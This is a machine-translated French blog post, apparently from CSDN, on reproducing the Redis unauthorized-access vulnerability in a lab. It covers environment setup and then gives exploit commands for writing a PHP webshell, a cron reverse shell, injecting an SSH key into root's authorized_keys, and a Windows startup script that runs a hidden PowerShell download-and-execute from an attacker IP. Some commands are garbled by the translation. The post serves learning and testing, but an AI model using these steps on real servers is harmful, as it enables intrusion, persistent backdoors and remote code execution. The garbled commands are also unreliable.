Reproduction et utilisation non autorisées de la vulnérabilité Redis

Un, la construction de l'environnement

1. Construction de l'environnement Windows

Lien de téléchargement: https://github.com/microsoftarchive/redis/releases

 Décompressez en local

Modifiez le fichier de configuration redis.windows.conf 

Autoriser n'importe quelle adresse IP à m'accéder (vulnérabilité non autorisée): modifier la liaison 127.0.0.1 pour la liaison 0.0.0.0

Désactiver le mode protégé: modifier le mode protégé oui en mode protégé non

Spécifiez redis.windows.conf comme fichier de configuration pour démarrer le service redis

redis-server.exe  redis.windows.conf

Utilisez redis-cli pour vous connecter au service redis

redis-cli -h 192.168.23.128

2. Construction de l'environnement Linux

Lien de téléchargement: http://download.redis.io/releases/

Téléchargement: wget http://download.redis.io/releases/redis-6.0.1.tar.gz

Décompressez: tar zxvf redis-6.0.1.tar.gz

Compiler: cd redis-6.0.1 make

Erreur de compilation, la raison est que l'environnement gcc n'est pas installé sur mon système

a, installez gcc: yum installez gcc-c ++

b, clair: rendre distclean

c, recompiler make, toujours une erreur

d, il devrait être que gcc n'a pas été installé, réinstallez-le

yum install cpp
yum install binutils
yum install glibc
yum install glibc-kernheaders
yum install glibc-common
yum install glibc-devel
yum install gcc
yum install make

e, la compilation échoue toujours, on estime que la version de redis est trop élevée, retéléchargez une version basse de redis, répétez les étapes ci-dessus et compilez avec succès

$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make

Modifiez le fichier de configuration: vim redis.conf

Commencer redis

Méthode 1: Démarrez ./redis-server dans le répertoire src

Méthode 2: Ajouter au démarrage de la variable d'environnement (recommandé)

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/

启动redis服务

redis-server  /etc/redis.conf

 

La connexion à distance a échoué et la connexion locale a réussi, ce qui prouve que le fichier de configuration n'a pas été chargé

Rechargez le fichier de configuration pour démarrer, montrant que le fichier de configuration a été chargé, on soupçonne que le pare-feu de la machine virtuelle centos 7 est bloqué

Effectivement, le port telnet local ne fonctionne pas

Le pare-feu Centos7 ajoute le port 6379

pare-feu-cmd --list-port

firewall-cmd --zone-public --add-port = 6379 / tcp --permanent

pare-feu-cmd --reload

Fermer selinux

Toujours nulle part, telnet, c'est toujours un problème de fichier de configuration, redis fonctionne toujours en mode sans échec

Connectez-vous localement à redis, entrez shutdown pour fermer le service redis, redémarrez et chargez le fichier de configuration pour démarrer

Connexion à distance réussie

Deuxièmement, l'exploit

1. Ecrire au webshell

Conditions d'utilisation:
1. La cible existe dans le répertoire Web
2. Le chemin Web absolu est connu
3. Il existe une autorisation d'écriture

1. Obtenez le chemin absolu du site Web via une erreur de site Web ou une page phpinfo

2. Utilisez le chemin absolu du site Web acquis pour écrire le fichier de porte dérobée via redis

config set dir "C:/ruanjian/phpstudy_pro/WWW"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

Remarques: \ r \ n \ r \ n signifie un saut de ligne. Les fichiers écrits avec redis porteront des informations sur la version. S'ils ne coupent pas les lignes, il se peut que ce soit impossible.

3. Écriture réussie via l'accès

2. Inversion de la tâche planifiée

Domaine d'utilisation: centos

Conditions d'utilisation:
autorisation d'écrire des tâches planifiées

Le principe est le même que l'écriture sur webshell, sauf qu'il s'agit d'une tâche d'écriture planifiée, seul le système linux a une tâche planifiée, donc il ne peut s'exécuter que sur le système linux, en utilisant la tâche planifiée écrite pour rebondir le shell

1. Ecrivez la tâche planifiée (note: le nom du fichier enregistré est le nom d'utilisateur)

2. Afficher la tâche planifiée sur la machine cible a été établie

3. Surveillance de la configuration locale, réception du shell avec succès

Remarque: Pour utiliser kali comme hôte cible pour les tests, vous devez écrire la tâche planifiée dans le répertoire / var / spool / cron / crontabs.
On constate que lorsque l'hôte cible est centos, le reverse shell peut réussir, mais ubuntu et debian ne peuvent pas être utilisés.
Raison: des erreurs grammaticales causées par des caractères déformés dans le contenu écrit par redis dans le fichier de plan de tâches, et des caractères déformés sont inévitables. Centos ignorera les caractères déformés pour exécuter le plan de tâches dans le format correct.

3. Écrivez la connexion à distance de la clé publique

Domaine d'utilisation: hôte Linux
avec authentification par clé activée Conditions d'utilisation:
autorité racine

La connexion par clé SSH est activée et le fichier /etc/.ssh existe

Processus d'utilisation:
lorsque redis s'exécute en tant que root, vous pouvez écrire le fichier de clé publique SSH sur le compte racine et vous connecter au serveur cible directement via SSH.

1. Tout d'abord, ouvrez la connexion par clé SSH sur la machine cible centos.
Modifiez le fichier de configuration / etc / ssh / sshd_config.

RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件;

2. Ouvrez kali pour générer une paire de clés: ssh-keygn -t rsa

3. Écrivez la clé publique dans key.txt et ajoutez un saut de ligne

(echo -e "\ n \ n"; cat /root/.ssh/id_rsa.pub; echo -e "\ n \ n")> key.txt

4. Définissez le contenu de la clé publique sur la variable redis (notez le chemin et écrivez votre propre chemin)

cat /root/key.txt | ./redis-cli -h 192.168.23.129 -x définir la marée

5. Générez un fichier allowed_keys dans le répertoire /root/.ssh (le même que le principe précédent, tous sont écrits et renommés)

Les variables ont été écrites avant

6. Vérifiez le succès de l'écriture sur la machine cible

7. Connectez-vous sur l'attaquant kali: ssh -o StrictHostKeyChecking = no 192.168.23.129

Remarque: la
connexion par clé doit être activée sur l'hôte cible avant de pouvoir être utilisé.
Lorsque ssh se connecte pour la première fois, ajoutez -o StrictHostKeyChecking = no, sinon il risque de ne pas se connecter.

4. Articles de démarrage

Portée: système Windows (seul le système Windows a une option de démarrage)

Lorsque le redis cible est déployé sur l'hôte Windows, les fichiers peuvent être écrits dans le répertoire à démarrage automatique. Connectez-vous au prochain redémarrage de l'ordinateur.
Utilisez PowerShell pour télécharger et exécuter à distance.
Le serveur serveur a l'utilisateur administrateur par défaut.
Écrivez le fichier de commandes dans le répertoire de démarrage de l'utilisateur administrateur.

1, écrire

config set dir "C: / Users / shy / AppData / Roaming / Microsoft / Windows / Menu Démarrer / Programmes / démarrage /"

config set dbfilename shy.bat
set x "\ r \ n \ r \ npowershell.exe -nop -w hidden -c \" IEX << nouvel objet net.webclient> .downloadstring <'http://192.168.23.44:8088 /xiye.exe'>>\"\r\n\r\n "

2. Vous pouvez voir que le fichier shy.bat a démarré avec succès sous l'élément de démarrage de la machine cible

3. Après le redémarrage, récupérez le shell

Je suis trop culinaire, et je n'ai pas fini d'étudier les articles de gangsters, je vais donc acquérir un peu de connaissances et élargir mes connaissances avant de continuer à étudier les articles de gangsters.

Apprenez les articles du patron:

https://mp.weixin.qq.com/s/ungjainqdPhA_dDOOMKn4Q

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Je suppose que tu aimes

Origine blog.csdn.net/qq_32393893/article/details/109024055
conseillé
Classement